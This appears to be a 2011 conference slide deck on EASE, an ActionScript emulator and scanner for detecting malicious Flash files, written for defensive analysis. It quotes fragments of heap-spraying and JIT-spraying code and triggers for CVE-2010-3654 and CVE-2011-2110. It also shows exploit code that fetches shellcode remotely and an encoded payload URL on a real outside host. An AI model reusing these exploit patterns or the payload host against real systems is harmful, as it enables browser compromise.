Dissecting Flash with EASE (Experimental ActionScript Emulator)

Bing Liu(bingliu@fortinet.com)
IPS Manager (Vancouver)
VB BARCERONA 2011

Thank you

Guillaume Lovet

Many good suggestions!

Coming up...

- **Introduction**
- **Features of EASE**
- **Flash Scanner**
- **Limitations**
- **Case study**
- **Demo**

Why?

- Flash is becoming a major vector of infection
- Difficult and time consuming to analyze Flash exploit without proper tool

Introduction Cont.

How?

1. Decode SWF file according to file format specification
2. Decode ABC file if DoABC/RawABC appear
3. Setup running environment
4. Execute scripts
5. Detectors report findings

EASE Features

- Detect Heap spraying
- Detect JIT spraying
- Extract Embedded Flash
- Extract Embedded JavaScript
- Detect Exploit

EASE Features

Detect Heap spraying

Detect Heap spraying

Example 1

```
allocs = new Array();
alloc_event(arg0:TimerEvent):void
{
var loc0:* = new ByteArray();
loc0.writeBytes(pool);
allocs.push(loc0);
return;
}
```

Detect Heap spraying Cont.

Implement a detector in **push** method of class **Array.**

Condition:
Push **same large** content to **same array multiple** times**.**

Detect Heap spraying Cont.

Example 2

```
00056) + 0:1 getlocal r8  //value
00057) + 1:1 getlocal r6 //offset
00058) + 2:1 si32   //?
...
00066) + 2:1 getproperty
<q>[public]::length
00067) + 2:1 convert_i
00068) + 2:1 iflt ->48
```

Detect Heap spraying Cont.

Undocumented instructions:
si8: write 8 bits in global memory
si16: write 16 bits in global memory
si32: write 32 bits in global memory

Detect Heap spraying Cont.

Implement a detector in instructions **si8, si16 and si32.**

Condition:
Accumulated heap size written by instructions **si8/si16/si32** is above a threshold.

EASE Features

Detect JIT spraying

Detect JIT spraying

Use many XOR operator with constant that encode small instructions.

Example:

0x3C909090^0x3C909090^0x3C909090...

Detect JIT spraying Cont.

==>

00000) + 0:0 pushint 1016107152
00001) + 1:0 pushint 1016107152
00002) + 2:0 bitxor
00003) + 1:0 pushint 1016107152
00004) + 2:0 bitxor
...

Detect JIT spraying Cont.

Implement a detector in instruction **bitxor.**

Condition:
Successive pushint and **bitxor** instructions appear above a threshold.

EASE Features

Extract Embedded Flash

Extract embedded Flash

Level0 Flash exploit:

A flash file that crafted to trigger a particular Flash player vulnerability.

In many case, level0 Flash exploit is embedded in a container,for example another Flash, PDF, Office document, and is loaded after heap spraying work is done.

Extract embedded Flash Cont.

Example

```
this.r = this.hexToBin(this.t);
this.ldr = new Loader();
loadBytes(this.r);
```

Extract embedded Flash Cont.

Implement a detector in **loadBytes** method of class **Loader.**

Export input parameter value of **loadBytes** method.

EASE Features

Extract Embedded JavaScript

Extract embedded JavaScript

Flash communicate with its container,for example an HTML page, through class **ExternalInterface**.

<param name="movie" value="main.swf”>

Method “**call”** is designed to call a function,for example “**eval**”, exposed by container.

Extract embedded JavaScript Cont.

Example

00037) + 0:0 getlex
*<q>[public]**flash.external::ExternalInte***
rface
*00038) + 1:0 pushstring "**eval“***
...
00045) + 3:0 coerce <q>[public]::String
00046) + 3:0 callpropvoid
*<q>[public]::**call, 2 params***

Extract embedded JavaScript Cont.

Implement a detector in **call** method of class **ExternalInterface:**

Export second input parameter value of method **ExternalInterface::call** if “**eval**” is called.

EASE Features

Detect Exploit

Detect exploit

For most of Flash vulnerabilities locate in AVM2, the ability to decompile ABC file is usually required for a reliable detection. In many cases, ActionScript emulator is a must.

For example:

CVE-2010-3654

CVE-2011-0620

CVE-2011-2110//Latest Flash 0day exploit

Detect exploit Cont.

Example1: CVE-2010-3654

Found by dumb fuzzing.

0x16□0x07

Detect exploit Cont.

fl.controls:RadioButtonGroup class
<q>[public]
fl.controls::**RadioButtonGroup** extends
<q>[public]flash.events::EventDispatcher

-

fl.controls:RadioButtonGroup class
<q>[public]
fl.controls::**Button** extends
<q>[public]flash.events::EventDispatcher

Detect exploit Cont.

Implement a detector for CVE-2010-3654.

Condition:
A instance with protectedNS “**fl.controls:RadioButtonGroup**” and class “**Button**” is find.

Detect exploit Cont.

Example 2: CVE-2011-2110

```
//args is the named rest array
public function test(... args) : void
{
...
Number(args[1073741754]);
```

Detect exploit Cont.

Implement a detector for CVE-2011-2110.

Condition:
Negative or overly **large** index value to **named rest array** is used.

Flash Scanner

Signature based solution.

Why:

- Easy:add a rule VS add a detector
- Effective: same level0 Flash file is found to be used for many cases in the past .

Flash Scanner Cont.

```
rule Adobe_Flash_Invalid_Jump
{
    meta:
        ref = "CVE-2011-0609"
        impact = 10
    strings:
       $methodbody =
/\x10\x1C\x00\x00\xD0...
```

Flash Scanner Cont.

Given a Flash exploit, the scanner may:

- Report known exploit
- Find possible 0day
- Make False Negative due to limitations

Limitations.

- Limited emulator
- Limited detectors
- Limited signatures

Case Study

Example: Metasploit module
“adobe_flashplayer_avm” target CVE-2011-0609

Send following three files
1.HTML file : embed following SWF file
2.SWF file: Flash exploit
3.TXT file: ?

Case Study Cont.

ActionScript code of Flash exploit:

```
var path:String =
ExternalInterface.call("window.locatio
n.href.toString") + randname(6) +
".txt";
var urlRequest:URLRequest = new
URLRequest(path);
urlLoader.addEventListener(Event.COMPLE
TE, urlLoader_complete);
urlLoader.load(urlRequest);
```

Case Study Cont.

```
urlLoader_complete(evt:Event):void {
alloc_shellcode(urlLoader.data);
}
alloc_shellcode(p:String):void {
var val:ByteArray = new ByteArray();
val.writeBytes(hextobin(p));
```

TXT file contain the shellcode!

Case study Cont.

Separate the shellcode from Flash exploit.

Gains:

- Flexible control of shellcode
- Evade detection

Pains:

- Only work on website

Case study Cont.

Flash exploit writers are accepting this technique.

Improvement is found in latest 0day exploit!

Case Study Cont.

Flash 0day exploit target CVE-2011-2110:

```
var param:* = root.loaderInfo.parameters;
var t_url:* = this.hexToBin(param["info"]);
    while (i < t_url.length)
      {
            t_url[i] = t_url[i] ^ 122;
             i = (i + 1);
      }
```

Case Study Cont.

The “info” is provided In the container HTML file:

<param name="movie" value="main.swf? ***info****=02e6b1525353caa8ad555555ad31b4c94ab231ab31b4b5cfc84ace4aaeb5b7afb531a851d3527b7a9b51767c" />*

Case Study Cont.

Info:
02e6b1525353caa8ad555555ad31b4c94ab231a
b31b4b5cfc84ace4aaeb5b7afb531a851d3527b7
a9b51767c
==>
URL:
“http://www.cn80nd.com:8181/mm/nb.txt”.

Demo

Demo is a must